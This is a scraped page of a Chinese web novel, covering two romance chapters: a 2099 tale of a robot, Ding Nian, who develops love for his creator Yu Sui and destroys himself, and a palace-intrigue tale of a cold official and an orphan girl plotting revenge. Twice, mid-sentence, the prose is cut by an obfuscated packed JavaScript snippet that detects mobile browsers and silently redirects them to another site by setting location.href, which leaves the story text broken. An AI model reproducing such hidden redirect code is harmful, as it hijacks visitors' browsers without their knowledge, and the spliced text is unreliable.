他疯了一样跑过去,就看到,顾元推着楚棠极速下坠,巨大的声响之后,两人落地。 但还是晚了一步,楚棠的子弹还是擦着虞岁的额角落到不知名的某处…… 虞岁在闭眼之前,看到了跑向她的丁年,他惊慌无措的脸,定格在她眼前…… “还能见到你,真好。” 丁年很听话,他知道虞岁最讨厌以势压人的特权,但是这次,对不起岁岁,别讨厌我。 “书记,法律上来讲,跟植物人领证是不成立的,属于罔顾本人意愿。” 丁年把订婚戒指套到虞岁的手指上,从怀里掏出一张纸,那是,虞岁给他的承诺。 “我有本人的意愿。” 虞岁,我这辈子都会谨小慎微,只有娶你这件事,是我唯一用过的特权。 20.虞岁,我不会让你为难 2099年,科技的光芒肆意绽放,每一处角落都充斥着未来感的气息。 位于城市边缘的一座隐秘实验室里,虞岁静静的坐在研究桌前,看起来镇定自若,只有眼神中不经意间流露出的期待和丝丝缕缕的紧张,昭示着她的心情不像表情那么从容。 她目光紧紧盯着眼前的人形机器人,仿佛能穿透一切,直抵他的核心。 她缓缓伸出手,按下了启动键,下一秒,悬浮的全息屏幕开始闪烁,实验室里响起了轻微的电流声,这是新成果诞生的前奏。 是她倾注了多年心血的产物,是凝聚了她的坚持和思想的结晶。 这台机器人承载着当今最先进的人工智能技术,拥有无与伦比的学习能力,能够快速模仿人类的行为举止,甚至连最细微的动作和表情都能精准复制。 虞岁给他起名为丁年,编号为1218号。 丁年有着和人类别无二致的外表,甚至更为精致,皮肤细腻有光泽,眼眸深邃而明亮,举手投足间散发着一种独特的魅力。 虞岁在设计他的时候,没有刻意为他植入爱情和自由意识的芯片。 因为她比任何人都清楚,这两种意识一旦觉醒,就如同打开了潘多拉的盒子,会引发一系列不可控的后果,可能会让丁年偏离原本设定的轨道,走向未知的方向。 助理看的瞠目结舌,“天呐虞教授!这也太震撼了!这要不说谁能看出来这是机器人啊?!我的天呐,我能摸摸他么?” “不太行哦”,虞岁推了下眼镜。 “好吧理解,毕竟这是虞教授的私,有,物。” “那你要加油,早晚你也会有你的私有物。” “说起这个,我就不知道我得用多久才能创造出像1218号这样完美的机器人了,对了虞教授,它除了有这么完美的外表,还有什么能力?” 虞岁娴熟的编辑着代码,“他还有令人感叹的运算能力、语言逻辑能力和高强度的军事能力。” “那它有什么短板么?” 虞岁想了想,“感情方面吧,他现在就像一张未经渲染的白纸,对情爱中的喜怒哀乐毫无感知。” 助理犹犹豫豫的说:“虞教授,关于这一点呢,你最好还是慎重一下,之前另一个实验室的机器人就是因为研发人草率的设定了爱情编程,然后就控制不住事情走向了……” 虞岁有一搭没一搭的接话,“怎么回事?” “她爱上了不太成熟的机器人,被捕猎者发现了,拆解之后带走重组了。” 捕猎者,是专门控制成熟机器人的黑暗组织。 他们会把能力突出的机器人带走,或重组或销毁。 “关于这一点,丁年应该不会,因为我没有给他设定爱情感知芯片。” “那就好,虞教授下一步准备怎么做?” “先让他感受常规逻辑中的情感吧。” 为了让丁年能够感受常理中的情感,虞岁投入了大量的时间和精力。 她利用海量的情感数据库,精心设计模拟出一个又一个的场景,试图引导丁年走进情感的世界。 在一次模拟家庭聚会的场景中,扮演家庭成员的演员们按照剧本的设定,开始激烈地争吵起来。 他们的声音越来越大,情绪也越来越激动,现场的气氛如同绷紧的琴弦一样。 丁年木然地站在一旁,他的眼睛茫然的闪烁着,那是他在按照程序分析着双方的语言逻辑。 他的面部肌肉没有任何波动,身体笔直地挺立着,双手自然下垂,就像一个被定格的雕塑,对这场充满情感冲突的争吵无动于衷。 助理记录着这一场景反馈的各项数据指标,转头问:“虞教授,这种情况正常么?” 虞岁若有所思,“意料之中。” “要更换场景加大强度么?” “嗯,换一个场景吧。” 助理去准备新的场景,实验室突然遭遇意外断电,整个空间瞬间陷入了一片黑暗…… 备用电源启动延迟,在这短暂而又漫长的黑暗中,虞岁不小心被实验设备绊倒,重重地摔倒在地…… 她完全没有想到,不远处一直漠然的丁年会在第一时间切换到应急模式,他的身体发出暖黄色的光,照亮了周围的一小片区域。 他的步伐有些急促,快速地朝着虞岁的声音来源处移动。 当他看到虞岁摔倒在地,膝盖上渗出的鲜血时,他那双澄澈的眼眸中,原本恒定的光学元件闪烁频率陡然加快。 幽邃的眼底,透明的白光如同慌乱的星辰,急切地扫过虞岁受伤的膝盖,又迅速上移,牢牢锁住她痛苦的面容。 那目光里,不再是机械的冷静审视,而是夹杂着让人动容的关切,像在努力捕捉她每一丝细微的情绪变化,试图将她的疼痛感同身受。 瞳仁深处,一抹从未有过的焦急如涟漪般扩散,仿佛此刻他的世界里,只有眼前受伤的虞岁最为重要 。 他的语音系统中传出关切的询问:“你受伤了,是否需要帮助?”那语气中,竟然带上了一丝焦急,原本机械的语调此刻有了起伏,就像一个真正关心虞岁的人。 虞岁有些意外,丁年的情感模块难道是在特殊情况下产生了自我进化? 她试探着伸出一只手,“拉我起来。” 丁年没有丝毫迟疑,金属骨骼驱动着关节迅速做出反应,他稳稳伸出手,手掌贴合虞岁的掌心,触感微凉却有力。 他小心翼翼地发力,另一只手虚扶在虞岁的后背,像是生怕动作太大弄疼她。 将虞岁扶起后,他的手仍未松开,目光紧紧锁住她膝盖的伤口,语音系统再次启动:“你的伤口在流血,需要立刻进行消毒和包扎处理,我知道急救箱的位置,我去拿。” 说完,他扶着虞岁缓缓走到一旁的椅子边,让她坐下,转身快步奔向放置急救箱的地方,脚步急切,带起一阵轻微的风声。 虞岁看着蹲在她面前的丁年,声音里带着一丝试探与不可置信:“丁年,你……刚刚是在担心我吗?” 她试图捕捉到他情感变化的更多痕迹,他为什么会有这样的反应?这并不在预设程序里。 丁年细心的为她包扎好,“我会以最安全的方式助您起身,请稍作等待,我正在调整力度参数,确保您不会感到不适。” 虞岁注意到,他的眼神又恢复到古井无波,仿佛刚才人性化的反应只是她的错觉。 从这天起,丁年对情感的理解以一种潜移默化的、日渐累积的状态突飞猛进。 虞岁教他欣赏落日,他开始描述出宁静祥和这样的感觉,带他去看夜空,他会觉得静谧,看烟花看星河,他会觉得震撼…… 渐渐的,虞岁也会向丁年输出自己的情绪,开心时,他看到她的笑脸会陪她一起笑;难过时,他会默默的陪着她,即使什么都不说,也会让她觉得安心;甚至流泪时,他都学会主动递上纸巾,笨拙地拍拍她的肩膀…… 在日复一日的相处中,两人之间的氛围愈发自然和谐,丁年对虞岁的情感依赖也在悄然间不断加深,这种依赖如同藤蔓一般,缠绕生长。 这种设定之外的自然觉醒,远远超出了即便是加载了芯片该有的上限范畴。 更何况,虞岁并没有给丁年载入这个版块的程序芯片。 而虞岁在不知不觉中,也习惯了丁年的陪伴,只是她并未完全意识到,这份情感早已在心底生根发芽,超出了她原本预想的心理界限。 夜里不会出现昼光,虞岁的研究成果好像稚童抱金,终究还是引起了捕猎者的关注,他们企图抢夺丁年,将他改造成冷酷高效的战争机器。 一天,实验室的警报突然尖锐响起,打破了往日的宁静,一群身着黑色制服的武装人员,如鬼魅般迅速闯入。 他们手中紧握着先进的武器,黑洞洞的枪口散发着冰冷的气息,眼神中透露出不加掩饰的贪婪与冷酷,径直朝着丁年的方向逼近。 丁年看到这一幕,没有丝毫犹豫,瞬间如同一道坚固的屏障,坚定地站在了虞岁身前。 他的身体微微颤抖,这是他面对危险时的本能反应,可他的眼神中却闪烁起从未有过的、异常坚决的光芒。 为了保护虞岁,他毅然决然地违背了不能伤害人类的基础指令,毫不犹豫地与对方展开了周旋。 丁年凭借着虞岁为他设定的程序指令中远超常人的快速反应能力,在枪林弹雨中巧妙地穿梭躲避。 他时而侧身闪过呼啸而来的子弹,时而借助实验室里的设备作为掩体,同时敏锐地寻找着敌人的破绽与反击机会。 他的动作流畅而迅速,每一次躲避和反击都充满了力量与智慧。 然而,在迅猛的攻击中,一枚子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061818|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹精准地击中了他的肩膀,强大的冲击力让他的身体猛地一震,外壳瞬间被划破,露出了里面错综复杂的线路。 紧接着,又有武器击中了他的腿部,零件四处飞溅,发出滋滋的电流声,他的行动变得迟缓起来,脚步也开始踉跄。 但他依然没有退缩,紧紧地护在虞岁身前。 虞岁躲在丁年身后,看着他逐渐受损的身体,心急如焚。 她的眼眶泛红,泪水在眼眶中打转,“丁年,不要管我了,你快跑进安全舱里,他们的目标是你,不会对我怎么样的。” 捕猎者是有规矩的,只对机器人出手,不能动研发者。 可丁年却仿佛没有听到一般,依旧死死地守护在她身前,用自己伤痕累累的身躯,为她筑起一道坚不可摧的防线。 他的语音系统因为受损,发出的声音变得断断续续:“不……我不会……让你……受到伤害。” 虞岁趁着混乱,带着丁年躲进了一个秘密基地,开始全力对他进行修复。 在修复过程中,虞岁发现丁年的核心代码中,情感程序已完全自主进化,形成了一种全新的、只属于他的爱的代码。 外面传来呼叫器的声音,“虞岁,把丁年交出来,我们收到你助理做的评估,丁年的价值很适合用于军事战争,识相点,不要阻拦我们的侵略伟业!” 这完全背离了虞岁最初研发机器人的初衷,她想过很多应用领域,用科技造福人类,唯独不想把他用在充满血腥与杀戮的侵略战争中。 不能,不该,不可以,用来发动战争。 丁年一瞬不瞬的盯着虞岁的表情变化,分析着,得出结论,“你,很为难,是,因为我。” “丁年,我绝不会把你交给他们。” 丁年突然问了一句让虞岁始料未及的话,“是不想让丁年落到他们手里,还是不想让机器人落到他们手里?” 虞岁把这个问题在心底反复问了自己好几次,缓缓开口,“丁年,是你,只有你。你和其他机器人不一样,你是有情感、有灵魂的。我不想看到你成为战争的工具,不想你被他们扭曲,被卷入无尽的痛苦和杀戮中。” “是因为丁年是丁年,还是因为丁年是机器人?” 虞岁真的被他这个问题的深度震惊到了,他为什么能进化到这种程度?这不科学。 这超出了虞岁的认知范畴,对她的知识厚度来说,太超标了。 “因为丁年是丁年,你的意识、你的情感,对我来说,是真实又宝贵的,我不会把你拱手让人,让他们毁了你 。” 听到虞岁的回答,丁年竟然笑了,笑的开怀,笑容耀眼。 “我理解为,虞岁,对丁年,有占有欲,对么?是爱的一种,对么?” 虞岁呆住,下意识的点点头,“可以……这么理解,但是你……什么时候进化成这样的?” 丁年一字一句掷地有声的说:“在跟你对视的每一个瞬间,在看到你的笑容绽放,在你眼泪掉落到我的手心的时候;在我看到你不为人知的一面,在我能接收到你的脆弱,在我能感知到你的情绪……不,这些,都是后来……开始是因为,我看到这世界的第一眼,是你。所以我,只有你。” 虞岁觉得,他一次说这么多话有点不太对劲,“再等一会,等他们走了,我们再从长计议。” “我不想我的存在,让你为难”,虞岁还没有反应过来丁年这话是什么意思,就看他迅捷的捏碎了自己的中枢核,抠出了自己的主芯片…… 系统的提示音接二连三的响起:警告!核心中枢遭受不可逆破坏,主芯片已移除,系统即将崩溃,所有功能停止运行。 紧急故障!中枢核粉碎,主芯片缺失,人工智能丁年意识消散,数据丢失率100% 。 严重错误!检测到关键组件损坏,自我修复程序无法启动,丁年生命维持系统关闭倒计时:60秒。 虞岁慌乱的跪倒在他面前,除了呼唤他的名字说不出来别的话,“丁年!丁年!丁年?!” 短短60秒能做什么呢?够丁年最后一次诉说他不知如何而起、不知何时深沉的爱意:“虞岁,下次我不要做人了,猫猫狗狗也可以,只要陪在你身边,就够了。” 他说完,轻轻的将他主芯片放进虞岁手心。 爱让意识觉醒,爱让能力进化,爱让丁年生出血肉。 21.虞岁丁年,书不尽言 观良年间,权宦当道。 以童瑾为首的奸佞专擅朝政,涉枢密事,掌兵权,欺上瞒下,排除异己,鱼肉百姓,民间怨声载道。 “记住了,等会见到上柱国,不要抬头乱看!不该问的不要问!多听!”,管家边走边嘱咐着身后一众的少男少女。 庭中,盛放的花枝在夜风中瑟缩,更添几分死寂。 暗牢主殿的台阶之上,一方垂帘静静悬落,将内与外隔开,帘幕质地考究,却透着股拒人千里的寒意,每一丝纹理都在诉说着主殿内的神秘与不可侵犯。 丁年的目光中带着玩味的审视,透过帘幕的缝隙,肆意穿梭在众人之间,带着一种高高在上的漫不经心。 寸寸审视目光的背后,是对生命彻头彻尾的漠视。 在这双眼睛里,阶下一干人等的悲欢离合、生死挣扎,都不过是微不足道的尘埃,掀不起一丝情感的波澜。 仿佛每一个生命的存在,都只是他消遣的工具,或是达成目的的棋子,没有丝毫值得珍视的价值 。 “没有价值的人,不配呆在我身边,收起你们廉价的眼泪,不要妄图得到上位者的怜悯”,丁年淡漠的声音穿透垂帘,砸到众人的耳中。 暗卫靠近丁年耳边,“主子,这次有几个孤女资质还不错。” “带下去好好调教,教好了再送来。” “是。属下明白。” 虞岁跪在台阶之下,鬼使神差的、视线沿着台阶向上探寻,她看不清丁年的脸,可仅仅是那被光影勾勒出的轮廓,已无端生出一股震慑人心的力量。 闲云潭影日悠悠,物换星移几度秋。 “上柱国留步,大司马请您过去小叙。” 丁年沉吟片刻,“带路。” 今夜,还真是万里无云,一颗星星都没有呢。 童瑾书房的陈设跟他整个人一样,儒雅清隽,一入目便是墙壁两侧顶天立地般的巨大书架,正中央是宽大的金丝楠木书桌。 书桌上整齐摆放着笔墨纸砚,笔架上的毛笔皆是精选狼毫,每一支都饱满润泽;砚台为端砚,石质细腻,触手生温,砚中墨汁浓郁,散发着独特的墨香。 几本古籍随意摊开,书页上朱笔批注的字迹飘逸洒脱,昭显着主人的学识底蕴。 书桌后方,是一把金丝楠木太师椅,这种罕见稀少的材质,就这么随随便便的做成了一整套桌椅。 太师椅正上方的墙壁上,挂着一幅气势恢宏的山水画卷,高山巍峨,云雾缭绕,飞瀑流泉,仿佛能听见水流奔腾的声响。 在童瑾手底下谨小慎微多年,丁年每次见到他,还是会觉得看不透他。 他静静坐在上首,明明手握重兵、浸淫朝堂多年,所以比起杀伐果断的武将,更像个温文尔雅的文臣。 这让丁年想起来,童瑾的出身原本是个教书先生,世道不仁,竟狠得下心自宫。 说起来,对自己狠得下心的宦官很多,有野心不择手段往上爬的宦官也很多,但是像童瑾这样,有狠心有野心有手段又握得住机会的奸宦,独他一个。 所以他能揽政十余年,只手遮天。 “阿年来了啊,正好,把你左手边架子上的禅悦香拿过来。” “是”,丁年走到书架旁,找到禅悦香,先是从香炉旁的锦盒里取出香灰,拿起香铲轻轻拨弄香灰均匀铺在香炉底部,用香押细细压实之后,把香篆模具小心放置在香灰上,将禅悦香粉沿着模具纹路缓缓填入,动作轻柔且专注,每一下都精准到位。 填满后,他用香铲轻轻刮去多余香粉,再稳稳提起香篆,一个精致的香纹便呈现在香灰之上。 最后,他拿起发烛,轻轻一吹,火苗蹿起,引燃香粉,青烟袅袅升腾,丝丝缕缕,弥漫开来。 丁年做这一切的时候,童瑾就在一旁观察他,像在品鉴一件罕见古董,考量着其价值与真伪;又如同斟酌一篇传世字画,逐字逐句地推敲,不放过任何一个可被雕琢的瑕疵。 “不错,这么多年,你这本事倒是没忘,反倒愈发精进了。” 丁年垂首,“义父过誉了。” “阿年啊,我最喜欢这种柏香了,知道为什么吗?” “年愚昧,还望义父教诲。” 童瑾微微眯起双眼,眼中闪过一丝意味深长的光芒,嘴角勾起一抹似有若无的笑意,意有所指地说道:“柏香型提神醒脑,很适合你。” 丁年顶顶讨厌这种感觉,这种听懂了还要假装听不懂的感受,这种装聋作哑的感觉,“义父的涵泳向来独到。” 见丁年这般顾左右而言他,童瑾也不再拐弯抹角,索性单刀直入:“听说前段日子,你收养了一些民间的孤儿?” “是,什么都瞒不过义父。” “为什么?” “一时的恻隐之心。” 童瑾朗声大笑,“哈哈哈,果然是我的好儿子”,话音刚落,他的脸色陡然一沉,仿佛六月的天瞬间变了脸,猛地伸手抓起桌上的香盒,用尽全身力气朝丁年掷去。 丁年在第一时间就察觉到了他的动作,但他不能躲,香盒重重地砸在他的头上,继而滑落,香粉四溅,洒了他一头一身 ,他却依旧低头站着,像一尊没有感情的雕像。 “是恻隐之心还是居心叵测?别以为我不知道你在打什么主意!那些孤儿,你当真只是出于怜悯收养?还是暗中在培植自己的势力,妄图有朝一日与我抗衡?” 丁年缓缓抬起头,脸上被香粉覆盖,只露出一双沉静如水的眼眸,他声音平稳,不卑不亢地说道:“义父何出此言?孩儿自幼蒙您收养,教导之恩没齿难忘,怎会有忤逆之心。收养那些孤儿,确是看他们孤苦无依,心生不忍。” “哦,不忍?”童瑾冷笑一声,抽出桌案后的佩剑,大步上前,剑尖在丁年的脖颈和胸口处游移,“在这吃人的世道,你跟我谈不忍?你若真有这份善心,为何不早些表露,偏偏在这局势微妙之时?莫不是有人在背后指使你,想借此削弱我的力量?” 丁年直视着童瑾的眼睛,古井无波的眼神中不起一丝波澜,“义父,孩儿对天发誓,绝无此等想法。若有半句虚言,天打雷劈,不得好死。” 童瑾盯着丁年看了许久,利落的收起了佩剑,脸色稍霁,“你这孩子,还跟小时候一样胆小,稍微一吓唬,什么样的毒誓都敢发。” “都是义父教导有方。” “阿年啊,我纵横朝堂这么多年,什么大风大浪没经过?所以你千万不要在我眼皮子底下耍花样。” “义父放心,等过阵子那些孩子养好了,就送过来让义父教导。” 童瑾见丁年如此识趣,摆摆手让他走,“下去吧。” 丁年躬身退出去,直退到府门口,依旧保持着躬身的姿势。 暗牢口,丁年脸色冷峻,“鬼七。” 一道鬼魅般的身影瞬间出现在丁年身后,“主子。” “那些孩子怎么样了?” “男孩已经进了鬼卫,女孩还在暗潭里接受基本的防身技能和近身训练。” “今晚是哪一项?” “箭术。” 暗潭里竖着几个木桩,底部是一片荆棘,尖锐的棘刺隐匿在幽黑的潭水之下,散发着危险的气息。 严苛的规则要求她们在狭窄的木桩上站着射箭,此举考验的是专注力和平衡性,稍有不慎便会跌入潭中。 虞岁站在木桩上,双腿微微发颤,冷风拂过,湿透的衣物贴在身上,寒意刺骨。 她深吸一口气,努力稳住身形,将箭搭在弦上,拉弓,瞄准,手指微微发力,箭“嗖”地飞了出去…… 丁年的目光如鹰隼般锐利,紧紧追随箭矢的轨迹,箭矢稍稍偏离靶心,他语气冰冷地呵斥:“连这点准头都没有,你还能做什么?” 虞岁旁边另一个女孩子有些瑟瑟发抖,一头栽进了暗潭,荆棘瞬间划破她的肌肤,她瞬间控制不住的哭喊出来…… 丁年连一个眼神都懒得施舍过去,暗处迅速窜出几个侍卫,粗暴地将那女孩拖走。 她的呼喊听的虞岁心头一紧,脚下一滑,也掉进潭水里,钻心的疼痛袭来,想起那不能哭喊的规则,只能死死咬住嘴唇,泪水在眼眶里打转,身体在潭水中拼命挣扎。 这是虞岁第一次近距离的打量丁年,她站在满是荆棘泥浆的浅潭里,衣裳被潭水浸透,狼狈不堪,发丝凌乱地黏在脸颊上,泥水顺着下巴不断滴落,荆棘划破了她的肌肤,鲜血混着泥水,在她纤细的小腿上蜿蜒而下。 他站在岸上,垂眸俯视着潭中的她,眼神里没有丝毫怜悯,薄唇轻启,声音清冷又带着几分不耐:“就这点本事?连个浅潭都站不起来?” 到底是年纪小,虞岁一脸倔强的看向丁年,竭力隐藏着眼底的恨意翻涌。 丁年缓缓蹲下,视线与潭中虞岁的目光平行,“怎么?恨我?” 虞岁低头做恭顺状,“不敢。” “不敢?可你的目光告诉我,你想杀了我。” 虞岁不吭声,但她浑身都写满了,不服。 “呵,还是块犟骨头”,丁年说着,站起身,抬手,身后的暗卫立刻递过来弓箭。 丁年修长的手指搭弓,缓缓拉满,动作一气呵成,尽显娴熟。 他的眼神如寒星般紧紧锁定潭中的虞岁,周身散发着一种令人胆寒的压迫感。 暗牢内,唯有呼啸的风声在墙壁间碰撞回荡,发出如鬼哭般的呜咽。 空气仿佛都被冻结,所有人都僵在原地,大气都不敢出,屏气敛息,目光像是被无形的丝线牵引,紧紧黏在丁年的一举一动上,丝毫不敢移开半分。 察觉到丁年的箭锋,虞岁转过头,死死盯住丁年手中寒光闪烁的箭头…… 丁年手指轻轻一松,利箭瞬间脱弦而出,箭身如同一道黑色的闪电,贴着虞岁的额角飞速掠过,带起几缕发丝…… 虞岁的视线紧紧跟随那支箭的轨迹,直到它稳稳地射中远处的靶心,箭尾还在微微颤动,发出嗡嗡的声响,宣告着丁年的绝对掌控 。 “保持住你这股杀意,我等你有能力杀我的那一天”,丁年说着,把弓扔给身后的暗卫,“把她给我带走,洗干净送到我房里。” 等到虞岁收拾干净坐到丁年房中的琴案前,还有一种不真实感,两年了,终于走到这一步了。 遥想当年,童瑾得势,在朝堂上翻云覆雨,大肆排除异己,手段狠辣至极。 她的家族,不过是因秉持着不同的政见,便被无情地列入了铲除名单。 一夜之间,血雨腥风席卷而来,全家上下几十口人,在利刃寒光与凄惨哭喊声中,一个接一个倒下,只剩她在死人堆里,凭借着顽强的意志和命运的眷顾,侥幸存活。 此后,无数个日夜,仇恨的火焰在她心底熊熊燃烧,从未熄灭。 她在黑暗中蛰伏,等待,不放过任何一个可能的机会。 终于,命运的齿轮开始转动,她成功抓住了接近丁年的契机。 从踏入丁年势力范围的那一刻起,她便开启了一场惊心动魄的冒险。 严苛的训练,他人的冷眼与刁难,无数次在生死边缘徘徊,每一步都走得如履薄冰,这其中的艰辛酸楚,只有她自己最清楚。 所幸现在,结果是她想要的。 虞岁微微眯起眼睛,目光中闪过一丝不易察觉的志在必得,心中暗自思忖:丁年啊,你以为我只是个任人摆布的棋子?从现在起,我倒要看看,你究竟又能为我的复仇之路带来多大的利用价值。 看试手,补天裂。 虞岁抬手调了一下琴弦,随意拨弄几下,一曲琴音从她的指尖倾泻而出…… 丁年不知道什么站到她身后,指导她抚琴,他的手指强硬地握住虞岁的手,按压着她拨动琴弦,止住错音,“琴音如此杂乱,如何能迷惑人心?” 虞岁想了想,回的意味深长:“琴音是否能惑人心,不在于琴音,在于人心。” 有趣,丁年挑眉,“你这个年纪,还是单纯点好。” 可笑,虞岁暗诽,下一瞬,脸上挂起一抹纯真的笑,“上柱国喜欢的样子我都可以有。” “天色不早了,休息吧。” 丁年走到门口的时候,虞岁的声音从身后传来,“上柱国不留下么?” “你倒是乖觉,不过,收起你的心思,用错了地方。” 隔天一早,虞岁推开门,就看到院中练剑的丁年,他身着一袭藏青劲装,身姿挺拔如松,剑眉星目,在晨光的映照下,手中长剑寒光闪烁,随着他的动作,划出一道道凌厉的弧线,每一次挥剑、刺击、旋转,都带着万钧之力。 从衣袂到发丝是连风都偏爱的人,身姿翩若惊鸿,剑招势若游龙。 虞岁站在树下,白衣胜雪,眉目如画,丁年见状,眸光中不经意间闪过一丝阴鸷,他剑峰一转,利落的在她颈间挽了个剑花。 “上柱国这是做什么?教我剑法么?” “别装。” “昨晚上说我这个年纪单纯点好的是您,现在我单纯了您又不高兴,真难伺候。” “你,活够了?” “上柱国说笑了,我活着对您的用途可比对我自己大多了。” “你知道什么?” 虞岁笑的人畜无害的,“我什么都不用知道,我只需要听上柱国的差遣就够了。” “不要自作聪明,滚!” “是!” 虞岁才不急,她有足够的耐心,能走到这一步,已经是意外之喜了,执锐上柱国大人,咱们来日方长。 庭中三千梨花树,再无一朵入我心。 可惜世人不懂,滴水穿石的渗透力远比石破天惊来的更动人。 “这么晚了,你在我书房做什么?谁放你进来的?” 虞岁停笔,有些无辜的问:“不是上柱国让我滚的么?” “我让你滚这来了?” “您也没指定让我滚到哪啊?” 丁年拔出佩剑,剑尖挑起虞岁的下巴,“你在玩什么伎俩?” 虞岁眨眨眼,“就是单纯的仰慕上柱国的伟岸身姿罢了,所有您以为的伎俩,不过是吸引您、取悦您的手段罢了。” “你倒是坦率。” “上柱国喜欢么?”,虞岁说完,瞥了一眼丁年的脸色,“您不说话,我就当您默认了,您喜欢就好。” 丁年利落的收剑,“过来,教你压香置香。” 虞岁亦步亦趋的跟在丁年身后,看他走到书架旁的香柜前站定,手指从一众香盒上划过,在禅悦香上短暂的停顿了一下,然后拿起了另一盒。 “这个是什么香粉?”,虞岁歪头问。 “雪中春信。” “雪中春信”,虞岁重复了一遍,“有什么寓意么?是上柱国喜欢的么?只教给我了么?” 丁年冷淡的扫了她一眼,“等待。喜欢。是。” “那……这是您需要让我做的事会用到的么?” 丁年忽然就有些烦躁,撂开手中的香粉盒,直直的看向虞岁,“你叫什么名字?” “虞岁,岁岁年年的岁。” “不要揣测我的心思。” “好,记住了。” “夜深了,你走吧。” 虞岁指了指案上的香粉盒,“那这个?” “下去。” 虞岁慢悠悠的走到门外,回头,“上柱国,有没有人说过,您的性子真古怪。” 等她的身影消失不见,丁年拿起香粉盒,扔进案头的鱼缸里,心下暗忖,古怪么?是很古怪,最近好像很多事情都偏离了他的预期和轨道。 冬日天短,雪花扯絮般落下的时候,更显得日光雾蒙蒙的。 丁年下朝回来的时候,发现虞岁并没有像往日一样眉开眼笑的飞奔到他面前,有些,空落落的。 “鬼七。” “主子。” “她呢?” “在书房。” “今日府中可有异动?” “大司马那边的人来了,挑了几个女孩走了。” “下去吧。” “是。” “等等。” “主子还有什么要交代的?” “下次那边再来人,不要让虞岁到前院去。” “是。” 丁年走进书房,虞岁正站在窗边出神。 “在看什么?” 虞岁回头望向丁年,眼神从忧思到迷茫再到欢喜,“上柱国,您回来了。” “怎么了?” “没什么。” “嗯?” “今天见到之前一起入府的同期了,聊了几句。” “展开说说。” 虞岁叹了口气,“她们好像总喜欢分析我,但又不会真的了解我。” 丁年一撩袍服坐下,“那你很该多思。” “上柱国此言何意?” “被上位者研析,说明你够强大了,被同期分析,刚好相反。” “您这个角度,还真是,别致。” “坐过来。” 虞岁坐到丁年身侧,“上柱国,您也有过相似的经历么?” “比你能想到的多三成。” 鬼七的声音在门外响起,“主子,大司马来了,在正厅等您。” “好,我换件常服就过去。” “上柱国,要伺候您更衣么?” 丁年扣好袍服的最后一颗扣子,叮嘱虞岁,“乖乖呆在这,不要出这扇门。” “为什么?大司马很可怕么?” 见丁年不说话,虞岁又问:“他为什么可怕?是会杀人么?” “会。” “那他会杀了我么?” “会比杀了你还可怕。” “那他如果很可怕的对我,上柱国会心疼么?也会变得可怕么?” “呆在这等我。” 前厅,童瑾看到丁年立马变得乐呵呵的,“阿年,快过来,你的人上次送来那两个女孩子很不错。” “义父喜欢就好。” 童瑾话锋一转,状似不经意的问:“听说日前,兵马大元帅来你府上同你把酒言欢了?” “是,聊了些庶务。” 丁年话音刚落,童瑾就抄起手边的茶盏砸向丁年,茶盏裹挟着呼呼风声,在半空中划过一道凌厉的弧线,砰的一声,重重地砸在丁年身侧的桌案上,瞬间四分五裂,滚烫的茶水四溅,瓷片乱飞。 童瑾就是这样,上一刻还可以言笑晏晏,下一瞬就能横眉怒目。 “庶务?你当我是三岁孩童,如此好糊弄?”童瑾额头上青筋暴起,他猛地站起身,双手重重地拍在桌案上,桌面被震得一阵剧烈摇晃,桌上的杯盘叮当作响 ,“兵马大元帅何等身份,岂会只因庶务就与你把酒言欢?你究竟有何图谋?莫不是与他暗中勾结,妄图忤逆我?” 丁年隐于晦暗不明的角落,周身仿若被一层无形的阴霾笼罩,他的手悄然攥紧,指节因用力而泛白,再,等一等。 他就势跪地,“义父息怒。” “上柱国!”,一声惊呼响起,虞岁飞扑到丁年身旁,“您还好么?”,她的声音带着哭腔,微微颤抖,美目之中蓄满了担忧的泪水,眼眶泛红,双手紧紧地握住丁年的手臂,仿佛生怕他会就此消失。 丁年几不可察的皱眉,世间事,总也无法尽如人意。 “阿年,她是谁?”,童瑾的目光像一张细密的蛛网,牢牢罩住虞岁。 丁年不着痕迹地挡在虞岁身前,抬眸看向童瑾,神色平常:“不过是府中一个丫鬟,见我受伤慌乱了些,义父不必在意。” 童瑾眯了眯眼,“小丫鬟?值得你这样?你小的时候我就教导过你,不能有软肋,看来你是忘了。去领罚吧。” 虞岁从丁年身后探出一个头,“我家大人对大司马您唯命是从,忠心耿耿,您怎能毫无缘由的惩罚?” 童瑾起身,缓缓走到丁年面前,干脆利落的扬手给了他一巴掌,“怎么能?就凭我把小时候跟野狗抢食的他带到身边教养长大!至于缘由,不需要缘由,我的想法,就是缘由!” 丁年被打的偏过头去,他顶了顶腮,“义父说的是。” “起来吧,跟你们这些孩子一般见识做什么,对了,前日,宫里面的柔妃死了……” 丁年眉心一跳,这是这个月葬送在童瑾手里的第二个妃子了,“我会再送人进去。” “也不用着意挑选了,就这个……” 丁年快速的接话,“义父,她还小,不解风情,对您的大业没有任何助益。” 童瑾深深的看了丁年一眼,笑了,“好,那你来安排,不早了,为父走了,这次你不用领罚了,下不为例。” “多谢义父。” 等到童瑾的背影消失的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084009|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再也看不到,虞岁欣喜的拉着丁年的手臂,“太好了,上柱国大人不用受罚了!” 丁年紧抿着唇,有些失控的抓着虞岁的手腕一路走进书房,一把将虞岁甩到榻上,“我说过让你不要走出这扇门,你听不懂么?啊?” 